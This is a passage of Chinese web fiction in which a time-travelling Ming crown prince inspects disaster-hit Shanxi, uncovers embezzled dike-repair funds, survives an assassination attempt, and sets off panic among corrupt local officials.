朱佑棱指着舆图道。“看看这些数字,单说我们这几日遇到的流民数,其实只是官道旁一隅。那些走小路、躲入山林的流民,又有多少?而整个平阳、蒲州,乃至更远的灾区,这样的流民” “孤现在才算懂了,什么叫不可细算。” 刘健等人沉默不语,都清楚,实际的灾民数量只多不少。 朱佑棱又道。“去年水患,今春地方官为何隐瞒不报?这些问题,孤越想越恐惧。” “还有,孤更记得清清楚楚,去年黄河决提之事,其他黄河流经的州县,其实是上奏了的。去年单是国库支出的赈灾银两就是天文数字。可现在孤有大大的疑问,国库特意支出的赈灾银两,都用到哪里去了?” “说是修建堤坝,开沟挖渠。” 朱佑棱的问题一个接一个,带着与年龄不符的尖锐。 “可如果真将赈灾银两,都用在了修建堤坝,开沟挖渠上,为何孤进入山西地界儿,除了干涸的河床,开裂的田地外,孤没有看到有多余,哪怕一条的水渠。” 这是最让朱佑棱生气的一个点。 后世有所谓的面子工程,‘还世界一个青山绿水’的口号喊起来,然而落实的时候来不及种树怎么办,当地政府最起码用绿色的油漆,将整座山给‘粉刷’一遍,这儿呢,面子工程都不做。 中枢朝廷拨款,目的是让地方官员组织修建水利工程。结果好嘛,专款专项的钱收了,连他妈个沟沟都没有修。 连糊弄都不舍得糊弄,就说说特意出来巡视山西陕西一带水利工程的朱佑棱气不气。 险些气炸了肝儿好不好! “孤原先觉得,如果事事都需要上位者决策,才能将事情解决,那要这层层官府何用?要这些食君之禄的官员何用?” “现在想想,有时候还是得独断乾坤才好。” “殿下,积弊非一日之寒。天灾固然可畏,人祸更甚。”刘建叹息说: “若官吏的治理不清明,那政令自然也就无法顺畅推行。更甚者,百姓疾苦无法上达天听。殿下此番巡视,见微知著啊!” “见微知著……” 朱佑棱低声重复,目光投向帐篷外沉沉的夜色,和夜色中零星跳动的篝火。 “孤知晓,只是孤的心情” 朱佑棱:“你们说,今夜还有多少百姓,在忍受饥寒,在绝望中挣扎,却等不到一碗救命的粥,等不到一个来看他们一眼的青天大老爷?” “太子,你太感性了。” 这话却是李太医说的,他是汪太医的师叔,相较精通儿科,其他只是略懂的汪太医,李太医呢,身为院判的他,除了精通妇儿科外,还精通外科,其他方面也是略懂。 或者说,太医院的太医们,都精通妇科,其他略懂。毕竟太医嘛,除了服侍皇家外,就是后宫皇帝的那一大群莺莺燕燕。 他这回跟着朱佑棱出来,其实还是万贵妃安排的。朱佑棱可是万贵妃的心肝宝贝儿,才十三岁就开始做事情,虽说是正事儿,还领的钦差职位,但万贞儿不放心啊! 除了太医外,还有低一等级的医官,属于太医院管辖,算是给官员以及家眷看病的。 100名武功高强的锦衣卫,外加500名官兵,另外东宫属臣,六部的官员,都安排了一位。 万贞儿考虑到方方面面,唯独没想到知会内阁和六部一声,导致大家都是在上早朝的时候,才注意到朱佑棱这位太子殿下已经领钦差职位出京去了。 可以说朱佑棱的出行队伍是庞大的,现在呢,正因为队伍庞大,所以才能有效的办自己想办的事情。 并且还有可调动任意军队的虎符,朱佑棱不惧怕任何魑魅魍魉的阴损手段。 现在的朱佑棱很生气,不是生气先前收到的‘警告信’,而是生气国贼禄蠹那么多,这回定然要在山西陕西两地的官场上杀个血流成河。 就在这时,帐篷外传来细微的响动。陆炳在外低声禀报。 “殿下,那位患病孩童的母亲,在外面求见,说想当面叩谢殿下救命之恩。” 朱佑棱微怔,道:“让她进来吧。” 帘子掀开,那抱孩子的妇人小心翼翼地走了进来。 她显然梳洗过,换了件干净些的旧衣,虽然依旧瘦弱,但眼神清明了许多。 她一进来,就拉着已经退烧、虽然虚弱但已能睁眼的孩子,扑通跪下,重重磕头。 “民妇张王氏,谢太子殿下救命之恩,谢太子殿下救我儿性命!殿下的大恩大德,民妇来世做牛做马也要报答!” 说着,已是泣不成声。那孩子也懵懂地跟着母亲磕头。 朱佑棱连忙起身虚扶。 “快起来。孩子没事便好。李太医医术高明,是他救了你的孩子。” “不,是殿下。若不是殿下下令设粥棚、开义诊,我儿我儿只怕就这么去了。” 张王氏搂紧孩子,泪流满面,悲切的说:“民妇一家,原住蒲州河边,去年发大水,房子、地都没了,他爹也没了。就剩我们娘俩,一路乞讨过来。本以为本以为没活路了” 她哽咽着,再也说不下去说不下去。 朱佑棱心中酸楚,挺不是滋味的,不免温声道:“放心,朝廷不会不管你们。很快就有更多的粮食和药材运来,地方官也会安置你们。好好活下去,把孩子养大。” 张王氏千恩万谢地出去了,帐篷里很快恢复了寂静。 “殿下。” 刘健这时轻声道,“您这几日的所作所为,已救数百人性命,功德无量。夜已深,还请保重身体。” 朱佑棱摇摇头,走到帐篷门口,望着远处沉睡的流民营地,和更远方无边的黑暗。 篝火的光芒,只能照亮小小一片,之外,仍是漫漫长夜。 “刘卿,李太医,你们说,仅凭施粥治病,能救多少人?能救多久?” 他像是在问人,又像是在自言自语。 朱佑棱仰望繁星点点的苍穹,接着说。“孤在此,他们有一碗粥。可今日过后,明日孤走了呢,后日又该如何?若朝廷的救济迟迟不到,若地方官依旧阳奉阴违,又该如何?” “老夫想,他们大概是不敢的。”李太医出言道。“太子可是明确的警告过,若再敢阳奉阴违,必将他们流放至闽南,安南郡。那边毒瘴漫布,对于他们来说,可是蛮荒之地,去那里可比流放辽东更惨。” 朱佑棱:“那边水稻一年三熟。” 李太医点头,没有否认这点。 于是朱佑棱又道,甚至那张稍显稚嫩的脸上,充斥超越年龄的凝重和严肃。 “孤觉得,咱们此行必须修好黄河决口的堤岸,并治理好水患。另外还要整顿吏治,不止今年的赈济款项要落到实处,还要彻查往年的赈济款项,有没有落到实处。如果有,那孤自然会褒奖,如果没有” 朱佑棱露出分外残酷的微笑。 “孤既然敢背上‘抄家太子’的名头,就敢将每到一地的地方官吏全部抓起来抄家。哪怕科举三年一次,每次科举过后等着安排任职的进士、举人之辈多不胜数。” 大明别的不多,就是人多。朱佑棱敢保证自己前面刚将一处地界的地方官吏全部给处置后,后脚吏部那边就把接任的官吏人员确定好,并且很快的走马上任。 所以抄家什么的,对于朱佑棱来说,只是第一轮警告。对地方官吏贪得无厌,还试图用蠢事儿掩盖的警告。 而警告之后,自然是落实。毕竟抄家流放属于一条龙服务,缺一不可,而且是朱佑棱惯会选择的好方法。 毕竟暂时性的,朱佑棱不打算提供‘三族消消乐’服务,就只能抄家流放一条龙服务线安排上—— 作者有话说:更新o(* ̄︶ ̄*)o 第77章 第077章 “其实此番,算未雨绸缪。…… “其实此番, 算未雨绸缪。”朱佑棱说起自己出宫之前的事情。真的算随口一说,话赶话造成的。 对于这,朱佑棱坦然接受。 现在也是。 “孤此次赶赴两地巡视,一来兴修水利, 以抗旱涝。二来检查黄口堤岸, 防止黄河决堤的事儿再次发生。” “孤心神不宁, 源于多愁善感, 孤这几日总是在想, 孤今日救百人, 他日或许能救千人甚至万人。” “可流民越久越多, 代表什么, 相信孤不用说得太明白, 尔等都清楚。成百上千的百姓,因着天灾流离失所,饿殍遍野。” “殿下仁心睿智,心系黎庶,实乃社稷之福, 万民之幸。”刘健等人拱手说道。“老臣必竭尽所能辅佐殿下, 必将殿下此行所见所闻,所思所虑,都一一详呈陛下, 力陈改革之必要。” “行了,孤知晓你们的忠心。去歇息吧, 孤累了,也要歇息。” 朱佑棱摆手,打发属下去休息。 朱佑棱也自去休息。 一夜无梦,翌日清晨, 天刚蒙蒙亮,朱佑棱就已经起了,并梳洗妥当,大概过了半个时辰,车队启程前往蒲州。 至于临时安置在这儿的流民,留了百名官兵协助当地‘仅剩’官员处理安置问题。 而那封匿名威胁信,对朱佑棱根本没造成影响。至于什么什么阴霾之类,让带的队伍退缩什么什么的,根本不存在。 随行的官员和护卫们,甚至雄赳赳气昂昂,气势不凡。而这一路上, 锦衣卫的警戒圈扩大了一倍,明哨暗桩林立。 铜钱将一干涉事的地方官员投入大牢,并顺便抄了个家流放几个人后赶来,又当着他的‘护卫长’,亲自挑选了二十名最精锐的锦衣卫好手,寸步不离地护卫在朱佑棱的车驾周围。 由于出发之前,朱佑棱就已经附近州县广设粥棚,赈济灾民,因此一路上倒还好,很少看到逃亡的流民。 只是越靠近蒲州,灾后的痕迹便越发触目惊心。 大片大片的田地,仍然覆盖着洪水去年洪水过后留下的黄褐色淤泥。并且由于天气的原因,龟裂出丑陋的纹路,寸草不生。 沿途,倒塌的房屋废墟随处可见,残垣断壁间,偶尔能看到零星返回的百姓,在废墟中徒劳地翻捡着,试图找到任何还能用的家当。 哪怕坐在帷幔遮掩的马车上,依然能闻到空气中弥漫着的,泥土与腐朽混合的气息。 临近黄河的时候,朱佑棱坚持下车步行了一段。 朱佑棱踩在干硬板结的泥壳上,看着眼前满目疮痍的景象,听着工部员外郎张润指着远处若隐若现的黄河大堤,讲解着去年决口的位置和大致情形,稚嫩的脸庞紧绷着,一言不发。 “殿下请看,” 张润引着朱佑棱来到一处地势较高的土坡,指着前方。 “那边,便是去年秋汛决口最严重的三处之一,王家园口。据报,溃口达三十余丈,洪水一泻千里,淹没民田庐舍无数。” 朱佑棱极目望去。所谓的‘修复’后的堤坝,像一道丑陋的疤痕,蜿蜒在黄河岸边。 新填的土色与旧堤明显不同,看起来松散而不牢固。 其实对于如何修复堤坝,朱佑棱略有心得。 这是上辈子所带来的。 信息大爆炸时代,哪怕是只狗,都能在网上学到很多不实用,但穿越后很有用的知识。 就像朱佑棱,上辈子平平无奇的社畜。每天996后还有精气神儿上网‘学知识’。 关于修复黄河堤坝,最好的办法是,找几处关键点,用巨石或埽工(用树枝、石块、绳索捆扎而成的防洪构件)加固。可是呢,朱佑棱所看到的修复,却是草草地堆了些泥土和秸秆。 这样的修复工作,在初夏并不算汹涌的河水流淌下,都显得有些岌岌可危,很快是其他时候。 朱佑棱举目眺望,甚至还能看到被冲毁的龙王庙残骸,半截泥塑神像歪倒在淤泥中,光明正大的嘲讽豆腐渣工程。 朱佑棱:“” ——搞出这玩意儿的国贼禄蠹,他们就不感到羞愧吗! ——哦!都国贼禄蠹了,哪里还有脸羞愧! “这就是去年水患后,耗费数万两白银修复的堤防?” 朱佑棱开口问,声音不高,却冷得像冰。 张润苦笑一下,低声道:“殿下,账册上是这么记的。石材若干,木料若干,人工若干,银钱若干,一应俱全。只是这实物” “实物与账册,相差何止千里!” 说话的这人,是连夜被‘请’来的蒲州知州郑显仁,五十多岁,面皮白净,个子不高,体格却很宽厚。 此刻的他额头冒汗,战战兢兢地解释。 “殿下明鉴,去罗水势太大,冲毁的地段实在太多,导致修复工程浩大,再加上时间又紧,银钱方面也未能足额拨付,所以只能因陋就简,先堵上缺口” “因陋就简?” 朱佑棱打断他,指着那些草草堆砌的加固处,连气都难得生,何况是笑。 已经不是被气笑,而是险些气炸了肝儿。 “郑知州,你告诉孤,这样子的‘简’,能抵挡得住雨水丰沛季节的大水?若是今年再来一场大雨,这里是不是还要再决一次口?下游的百姓,是不是还要再流离失所一次?” “殿下,如今蒲州各县镇正处于大旱中,今年多半是下不了雨的。”郑显仁小心翼翼的开口。 朱佑棱:“” ——艾玛,他的心肝!!! ——受不了了,好想杀人! 朱佑棱深呼吸,到底没有控制住澎湃的怒火。 “这样的理由,还真是让孤无言以对啊!”朱佑棱呵呵笑了起来。“孤没有想到,蒲州知州郑大人是位人才啊。孤活了十三年,倒是见识浅薄,没想到居然有官员会预言术。” 别看朱佑棱是笑着说话的,但是吧 是个人都能听出来,这是阴阳怪气,大开嘲讽。 要反着听,不能正着听。 郑显仁当即扑通跪倒,连连磕头。 “微臣知罪!微臣失职!请太子殿下责罚!” “责罚你有何用?” 朱佑棱冷笑。“孤不想和你说话。现在别在孤的面前找存在感,不然孤绝对要抽你。” 朱佑棱拂袖,转向张润,语气倒是变好了不少。 “张员外,你带人仔细勘测,将这王家园口,以及附近几处险工,全部绘成详图。何处该用石,何处该筑埽,需要多少物料,多少人工,工期几何,预算多少,都给孤计算出来。并给孤一个切实可行的方案!不要再‘因陋就简’,孤要看到能真正防洪的堤坝!” 草草地堆了些泥土和秸秆修造的加固处,特么真的是糊弄学大神级别啊! “臣,领命!” 张润精神一振,立即躬身道。 在场的所有人,都知道朱佑棱现在已经快要压制不住体内奔腾的洪荒之力了。 朱佑棱准备动真格了! 张润立刻招呼随行的工部吏员和招募的本地老河工,拿出丈量工具,忙碌起来。 过了一会儿,朱佑棱才看向跪在地上的郑显仁,以及同样被‘请’来,面如土色的蒲州同知、通判等人。 “郑知州,你不必跪着了。赶紧给孤起来,带着你的人,协助张员外勘测。另外,将去年到今年所有与河工相关的账册、文书、物料清单,用工记录等等,全部找出来,送来孤处!若有半点缺失、涂改,想必你是知道后果的。” “是是是!微臣遵命!绝不敢有误!” 郑显仁如蒙大赦,连滚带爬的起来,慌忙去安排。而蒲州同知、通判等人同样如此,慌不择路的跟着郑显仁跑了。 由于王家园口,有张润在,所以朱佑棱又马不停蹄地查看了另外两处主要溃口和几处险峻点。 情形大同小异,所谓的修复,敷衍了事到了令人发指的地步。堤坝上的土,真的一踩就松散。 甚至拥有排水防涝功能的排水涵洞,淤塞不通。 排水涵洞是一种埋设在道路、铁路,土坝等构筑物下方,或铺设于地下的过水通道,主要用于排泄水流、疏导洪水、排放污水或通行灌溉。 它是水利工程、交通工程和市政工程中常见的基础设施。 护堤的排水涵洞,居然被淤泥堵塞,排水又如何通畅?自然一遇大雨,就容易发生雨水聚集,强力冲击护堤进而摧毁护堤的情况。 换句话说,黄河决提冲毁家园的情况,其实是能避免的。即便不能避免,有排水涵洞的存在,也能大大减轻奔涌黄河水冲击,堤岸的压力。 朱佑棱深沉的目光,落在了磕磕绊绊,东一个坑西一个坑的护堤上回不了神。 一般护堤上会种植柳树。去年黄河决口,堤岸的柳树被冲走大半,新补种的稀稀拉拉,难以固土。 这时候铜钱突然过来说,他找了一位老河工了解情况,老河工告诉他,说去年修堤时,物料被大量偷工减料,工钱也被层层克扣,民夫怨声载道,如何能修出好工程。 意思说,能搞出这么些个糊弄的加固处,已经够可以了。毕竟当地官员们,他愿意花钱糊弄啊! 朱佑棱:MMP!难道孤还要感到荣幸? “太子爷。”铜钱小心翼翼的开口。“你好似不开心!” “孤在想,孤要不要说一万句‘MMP’”朱佑棱几乎咬牙切齿的道。“告诉孤,孤是先骂娘,还是挨个把他们的头给砍了。” 铜钱:“砍的话,就算了吧!毕竟闽南和安南郡那边还需大量人口开荒呢!” “你倒是了解孤!”朱佑棱恢复了一咪咪点的冷静,冷声道。“知晓孤只抄家流放人,不会砍人诛三族!”—— 作者有话说:嘿嘿嘿![狗头叼玫瑰]隔壁女帝更新中哦! 第78章 第078章 朱佑棱到底没有做抄家砍头…… 朱佑棱到底没有做抄家砍头诛三族的决定, 而是抄家流放一条龙走起。 在朱佑棱的字典里,不可能有重拿轻放。如果非要说有,那么‘抄家流放一条龙服务’就是他的善良。 谁家做太子的,像他这样, 时时刻刻惦记着六皇叔、七皇叔的封地人口不足的问题, 看看这些年来, 他和父皇一起努力, 朝南越地区输送了多少开荒的人才, 就知道他有多善良! 临近中午, 朱佑棱没什么胃口, 就简单的用了一些干粮。之后, 朱佑棱的心里实在堵得慌, 干脆就在附近走走,好透透气。 铜钱作为护卫长,自然是要跟着,他们沿着临时搭建的营地走。这临时搭建的营地,设在一处地势较高的河滩空地上, 视野十分开阔。 朱佑棱望着远处浑浊汹涌, 仿佛蕴藏着无穷力量的黄河水,思绪万千。 这条贯穿古今,滋养华夏文明的母亲河, 不管何时看,都像一条奔腾不息的血脉, 在历史的骨骼中涌动。 “铜钱你说” ——咻! 朱佑棱转身对铜钱说话,才刚起了个头,异变突生! 尖锐的破空之声,从侧面一片稀疏的芦苇荡中陡然响起!一支闪着幽蓝寒光的弩箭, 以迅雷不及掩耳之势,直射朱佑棱的后心! “殿下小心!” 一直保持高度警惕的铜钱反应极快,几乎在弩弦响起的瞬间,就已猛扑上前,同时腰刀出鞘,奋力一挥! ——铛! 一声脆响,弩箭被刀身磕飞,擦着铜钱的肩甲划过,带起一溜火星,深深扎入旁边的一根木桩,箭尾兀自颤动不止。 箭镞处更是幽蓝闪烁,显然淬有剧毒! “有刺客!保护殿下!” 铜钱厉声大吼,声震四野。 同时,他一把将朱佑棱拉到自己身后,用身体完全遮挡住。 朱佑棱貌似被这突如其来的变故给惊住了,实则——内心有亿点点小雀跃。 妈惹!果然出来一趟,就是长见识!果然有眼睛长来,不知道干什么的家伙,要对祖国的花朵下手。 朱佑棱表面懵懵哒,内心戏却十足。 因着刺客出现,营地瞬间炸开锅!训练有素的锦衣卫立刻赶到,将朱佑棱所在的区域围得水泄不通。 更有官兵举起盾牌,竖起盾墙,还有官兵手拿弓弩搭箭,对准芦苇荡方向,飞速射出箭雨。 “搜!活要见人,死要见尸!” 铜钱厉声说道,立马有数十名锦衣卫如猛虎下山,扑向那片芦苇荡。芦苇丛中,立刻传来兵刃交击和呼喝打斗声,显然刺客不止一人,且身手不弱。 朱佑棱被护卫们严密保护在中央,面无表情,眼神更是平静。 “看来那封匿名信不是空言恫吓啊!还真就敢对孤这当朝太子下毒手!” “让孤好好猜猜。”朱佑棱开始自言自语。“是因为查河工、追账册的事情?是吧!毕竟孤的决策,触碰到了核心的利益!” 自言自语到这儿,朱佑棱干脆啧啧两声,那边芦苇荡的战斗,也已经接近尾声。 刺客共有五人,皆是黑衣蒙面,悍不畏死,使用的武器和招式杂乱,但狠辣有效。 不过对上锦衣卫,怎么说呢,他们招式狠辣,锦衣卫更加狠辣。这不,才一会儿,就将这些应该都是江湖上的亡命之徒,全部拿下。而这五人,三人被当场格杀,两人重伤被擒。 不过被擒拿的其中一人在被擒瞬间,便咬碎了藏在齿间的毒囊,顷刻毙命。 剩下那个重伤的,则被锦衣卫,眼疾手快的当即卸了下巴,防止其自尽。 “殿下,刺客共五人,毙四,擒一。属下无能,未能留全部活口。” 铜钱单膝跪地请罪,脸上满是后怕和愤怒。 “铜千户请起,你已尽力,且救驾有功。” 朱佑棱摆摆手,目光落在那唯一被生擒、此刻被五花大绑、卸了下巴、仍在兀自挣扎的刺客身上。 “好好招待他,问清楚是谁指使他们来刺杀孤的。” 铜钱领命,随即就把那被擒的刺客拖下去,亲自招呼。锦衣卫的手段,非同一般。 铜钱亲自上阵,尽管那刺客骨头极硬,但在分筋错骨和特殊药物的双重作用下,还是吐露了一些信息。 他们是一个活跃在晋陕(山西省和陕西省的合称)边界的亡命团伙。数日前,有人通过中间人找到他们,许以重金,要他们在太子巡视黄河堤坝时,找机会‘做掉’‘多管闲事’的太子。 至于雇主是谁,他们确实不知,中间人也从未露过真容,只知定金丰厚,事成之后还有加倍酬劳。 “亡命之徒,杀手买凶?” 朱佑棱听完汇报,脸上没有丝毫意外。知道用江湖人来撇清关系,一贯是狡猾之人惯用的伎俩,不过话又说回来,朱佑棱已经猜到了下手之人会是谁! “尸体和活口都仔细检查,看看有无特殊标记、信物。”朱佑棱语气淡淡的开口说。“另外,挑选几名侦查能力出众的锦衣卫,去就近卫所,调拨千名卫所精英,给孤狠狠的查这伙人的活动范围,以及近期接触人员。” “对了,还有本地的势力。”朱佑棱继续道:“孤觉得,只有利益纠葛,害怕孤巡视水利工程的举措,会让他们直接利益受损的家伙,才敢铤而走险,收买亡命之徒谋杀孤。” “记住了,重点排查有能力、有动机做这件事的地方势力。你们给孤一查到底,不要放过任何线索!” “末将领命!” 铜钱当即杀气腾腾地领命,并点了几名不管是刑侦还是施刑都十分强悍的锦衣卫,拿着‘如朕亲临’的铁牌,去晋州(山西)卫所调拨千名卫所精英去了。 可以预期的是,即将又有一拨人喜提‘抄家流放一条龙’服务了。不,或许直接抄家诛三族的。 毕竟太子遇刺,已经超出了普通贪腐案件的范畴,明显是谋逆大罪。无论背后是谁,都必须揪出来,碎尸万段!而他们的家眷亲族必受连累。 这时,刘健、张润姗姗到来。 “殿下,请恕臣等万死之罪。” 他们个个面无人色,惊魂未定。这才一会儿的时间,一国太子就差点在他们眼皮子底下出事。万一没有出事,一旦出事,他们所有人都难逃干系,甚至可能祸及家族。 “殿下,此地凶险,不宜久留!请殿下即刻移驾,返回安全城镇!” 刘健急切地劝道。 “是啊殿下,刺客虽暂退,但难保没有后手!千金之子坐不垂堂啊!” 张润也连忙附和。 朱佑棱看着远处滔滔黄河,又看了看身边惊惶、紧张的官员和护卫,摇了摇头。 “刺客想要孤的命,无非是怕孤继续查下去,查到他们见不得光的东西。孤若此刻退缩了,岂不正中他们下怀。 “孤一走,他们只会更加肆无忌惮!那些被贪墨的河工银两,那些草菅人命的堤坝,那些饿死的百姓,难道就白白算了。” “孤的字典里,可没有临阵退缩四个字。” 朱佑棱转过身,目光扫过众人,最后落在面色惨白的蒲州知州郑显仁脸上。 啊这—— 朱佑棱玩味的挑眉,似笑非笑的说。“郑知州,孤在你治下遇刺,你有何话说?” 郑显仁腿一软,差点又跪下去,声音带着哭腔,颤颤巍巍的道。“下下下下官万死!下官一定全力配合铜大人,缉拿真凶。不,下官立刻调集府衙所有衙役,以及当地民壮,封锁整个蒲州,定要将那胆大包天的逆贼揪出来!” “很好。” 朱佑棱依然保持似笑非笑。“那你就去办。另外,河工账册,孤今晚就要看到。缺一页,少一本,郑知州,你就不用带着全家老少亲朋一起去闽南安家落户了,直接去诏狱交代吧。 郑显仁浑身一颤,连滚带爬地跑了。 “殿下” 刘健还想再劝。 “刘卿生不必多言。” 朱佑棱打断他,语气缓和了一些,还显得挺和蔼可亲的说。“刺客之事,自有铜钱安排人手去查。孤觉得,咱们现在做的事情是继续检查以及核实账册明细。” 朱佑棱顿了顿,语气变得很是复杂。“还有流民的问题,那么多百姓流离失所,总得要安置吧。孤既然领了钦差的职位,那自然该在这里,哪里都不去。孤倒要看看,这朗朗乾坤之下,到底藏着多少魑魅魍魉,敢对大明储君亮出爪牙!” “不过,为防万一,锦衣卫的防护,警戒还得再往上提一级。另外,刘卿你辛苦一点,将孤遇刺之事,详细奏报父皇。还有” 朱佑棱眼中闪过一丝冷光,声音也陡然变得阴冷。 朱佑棱很气,气得险些炸了肝,却又不是那么气,相反,此时此刻的朱佑棱异常的冷静。 “在密折里仔仔细细的告诉父皇,就说孤觉得山西官场,已经烂得无法补救,干脆就将烂锅打碎,重新换口新锅。并请父皇通知吏部尽快安排人手,赶赴山西来接管烂摊子。”—— 作者有话说:更新o(* ̄︶ ̄*)o 第79章 第079章 朱佑棱这位当朝太…… 朱佑棱这位当朝太子遇刺的消息, 如同平地惊雷,以最快的速度向四方扩散。 整个山西,乃至临近的陕西、河南等地的官场,都为之震动。特别是蒲州及周边州县, 太子遇刺的消息, 第一时间炸开锅。 特别是随着‘太子遇刺’的消息扩散后, 那位备受太子殿下信任的锦衣卫千户长铜钱奉命从蒲州卫所调拨数千名军户, 开始大肆追捕稽查嫌疑人时, 原本还打算观望、甚至准备抓准时机, 暗中串联试图阻挠调查的某些势力, 瞬间陷入了巨大的恐慌中。 刺杀储君, 可是泼天大罪!一旦查实, 最低也是诛三族,父族、母族、妻族遭殃,而最高 九族消消乐,那可不是开玩笑的。像方孝孺,喜提十族消消乐, 据说当时连路过的懒汉儿都没有放过, 就更别说方孝孺的同乡之人了。 只要一想到方孝孺的下场,进而想到当今皇帝,貌似喜欢搞抄家流放, 但前提是这些都是贪官污吏家眷的下场。贪官污吏都是直接砍头。 现在不止贪污腐败,还是刺杀一国之储君。可不管这刺杀到底成功与否, 只要不用实施,甚至有这样的意向,那就是滔天大罪。 光是‘太子遇刺’的消息,就让人胆寒, 更别说还有彻查历年赈灾款项的事情 总之一时间,那些与河工款项、历年赈灾银两有瓜葛的官员,胥吏,乃至提供劣质物料、承包工程的地方豪绅,如遭雷击,人人自危。 有人开始疯狂销毁证据,有人试图潜逃,更多的人则绞尽脑汁,想方设法与“刺杀”撇清关系,甚至主动向太子投诚,提供线索 祁县,县衙后院。 知县王仁禄,正在自家后堂,像热锅上的蚂蚁般转圈。绞尽脑汁的想,到底如何把仓粮的亏空,合理有据的做平账目。 不。确切的说,不止亏空。而是整个祁县的仓库,都没有多少存粮。 朱佑棱没到来之前,整个祁县的粮仓,其实就已经没多少存粮了。不止新收上的新粮,就连往年的陈粮,也是一粒都没有。 都给卖了,新粮卖给粮商,粮商再想办法转卖给边塞外的游牧民族,陈粮要吗作为牲口的粮食,要吗高价卖给当地的百姓。 看看,多方运作,粮商和祁县县衙的所有官役都收益了,大赚特赚,就只是可怜老百姓,辛苦劳作一年,地里的收成交了赋税,结果嘿,还要花高价买给牲口吃的陈米烂粮。 这样的蠹国害虫,没发现也就罢了,一旦发现,必然喜提首恶诛,从者以及家眷‘抄家流放一条龙服务’套餐。 以前王仁禄没有怕过,毕竟天高皇帝远,再者,如果钦差派遣的是朝中大臣,王仁禄都有信心收买,让他们睁一只眼闭一只眼。可惜这回的钦差,是朱佑棱。 作为储君,整个大明未来都会是他的。王仁禄的行为,无疑是挖他老朱家的墙角,并且还特么挖了朝缺口处吐口水。 不止是缺德,而且是缺了大德,活该全家一起洗白白! 想明白这些的王仁禄,此时此刻真的超级担心受怕。他坐立难安,走来走去,不多时,当他那个当他那个在府衙做书办的小舅子连滚爬爬冲进来,面无血色地喊出“太子在蒲州遇刺了!锦衣卫正在到处抓人!” 王仁禄直接腿一软,直接瘫坐在了地上,面如死灰。 刺杀储君?这可比贪污赈灾款、克扣河工银要严重一万倍! “他们怎么敢的,啊!他们怎么敢的。”王王仁禄连哭带骂的呐喊。 “这可是诛九族的大罪啊。我真是被他们害惨了!” 就像王仁禄哭喊的那样,诛九族的大罪,可不管是否参与,只要被牵扯进去,就是万劫不复! 看王仁禄脑满肥肠的样儿,担任祁县县令就没少贪污,要真清廉,且问心无愧,那么就不会如此的害怕。 王仁禄现在,冷汗可是瞬间湿透了里衣。 在短短的时间里,王仁禄的脑子里,可是闪过自己这些年经手过的所有的账目,还有那几个向他行贿、承包了去年加固堤坝工程的商人…… “快!快把那些账册!还有那些往来信件,全部烧掉!一张纸片都不能留!” 王仁禄的声音因恐惧而扭曲,挣扎着爬起来,却因为腿软又跌了回去。 “还有得去警告那些刁民,让他们不许乱说话。” “对,还有夫人那儿,告诉你姐一声,让她将收的东西,都另外放地方,不能就放在家里的库房中。” “姐夫,我这就去安排,你别急。”小舅子还宽慰王仁禄说。“这种要命的事情不能急,急就容易出差错。” “强龙压不住地头蛇,姐夫,相信我,太子没那么大的能耐,能查出咱们私底下做的买卖。” 类似的情景,不止在祁县发生,还在平遥,太谷,甚至在更远的汾州、霍州等地发生。 有人连夜焚烧账册、书信等,妄想以此来掩盖罪行,有人连夜收拾细软,准备携家带口逃往外地避祸。 当然,更多的人,则是惶惶不可终日,四处打听消息,试图找到一条能与“刺杀”彻底撇清关系的生路。 但可能吗? 根本不可能的。 锦衣卫本身如狼似虎,拥有不讲证据单凭怀疑,就能将犯罪嫌疑人投入大牢,进行严刑拷打的权利。 先不谈其中是不是有屈打成招的,只讲一个事实,的确,强龙压不过地头蛇 但要是这‘强龙’来到地方挑衅‘地头蛇’的时候,带着天兵天将呢。 并且武德充沛,常常不讲证据,把地头蛇直接就地解决呢! 还强龙压不过地头蛇呢,也就当个心理安慰。 如今锦衣卫们,个个都憋着气,他们护卫的对象,可是在他们眼皮子底下遭遇刺杀。不把蒲州地界搅个天翻地覆,誓不罢休。 太原城,山西承宣布政使司衙门。 现任布政使,姓孙,名孙铭,祖父孙继宗,乃是明宣宗朱瞻基的皇后孙氏(明英宗朱祁镇的生母)的兄长。 他在成化7年的时候,以翰林院学士身份担任山西承宣布政使。 说起来,孙铭和朱见深还是表兄弟。朱佑棱呢,可以称呼孙铭一声表伯父。 孙家托孙太后的福,称得上真真正正的皇亲国戚。如今孙铭还未袭‘会昌侯’的爵位,担任山西承宣布政使以来,还算兢兢业业。 这天,孙铭起了一个大早,刚到衙门,就收到从蒲州那边加急送来的密报。 结果一看,孙铭整个人都被吓傻了。 “太子遇刺?该死,贼子真是好大的狗胆!” 孙铭气急败坏,回过神来,赶紧安排人手前往蒲州,并火速亲自写奏折,将太子遇刺的消息传回京城。 京城那位对太子爱逾性命的万皇贵妃,可不是好惹的。他如今已经算是负有不可推卸的失察之责,如果隐瞒不报,万皇贵妃迁怒下来,即便他们家算是皇亲国戚又如何,大概都得去昭狱走一遭! 并且更让孙铭心惊的是,朱佑棱遇刺的地点,是在问题最严重的黄河堤坝上,遇刺的时间点,又恰逢太子在追查河工账目! 这其中的关联,真的细思极恐。 “查!给本官彻查!” 孙铭暴跳如雷,恨声道。“蒲州境内所有可疑人员,所有与河工、赈灾有牵连的商贾、吏员,一个都不能放过!立刻行文各府州县,严令配合钦差,不,配合太子殿下与锦衣卫查案!凡有阻挠、隐瞒者,同罪论处!” 孙铭几乎是嘶吼着下达命令。 他现在唯一能做的,就是表现出最积极、最配合的姿态,以期将功补过。毕竟就万贞儿的脾气,别想撇清关系。 而后,接到消息的按察使周经,都指挥使刘聚匆匆赶来。他们俩,一人是主管一省刑事,一人则是主管一省军事。 三人面色凝重地待在一块儿商议,心情都很沉重。 没办法啊!太子遇刺这么重大的事情,隐瞒是不敢隐瞒的,现在该思索的,只能是如何补救。 “太子殿下……安然无恙吧?” 周经最关心这个。太子若真有个三长两短,整个山西官场恐怕都要陪葬。 “据报,殿下洪福齐天,有惊无险。但刺客用了毒箭,幸得护卫拼死挡下。”孙铭沉声道,“锦衣卫铜千户长正在全力追查,据说已有些眉目,指向本地一些与河工有勾结的豪绅。” “哼,豪绅?怕只是些替死鬼!” 刘聚武人出身,说话很是直接,更是怒气冲冲,恨不得即刻前往蒲州表忠心。 “敢对储君下手,背后能没有更大的黑手?我看,这山西的天,要变了。” 三人对视一眼,都从对方眼中看到了深深的忧虑。太子遇刺,如同一把利剑,悬在了每一个山西官员的头顶。 他们在这儿急得不得了,偏偏朱佑棱丝毫不惧怕,依然每天该干什么就干什么。 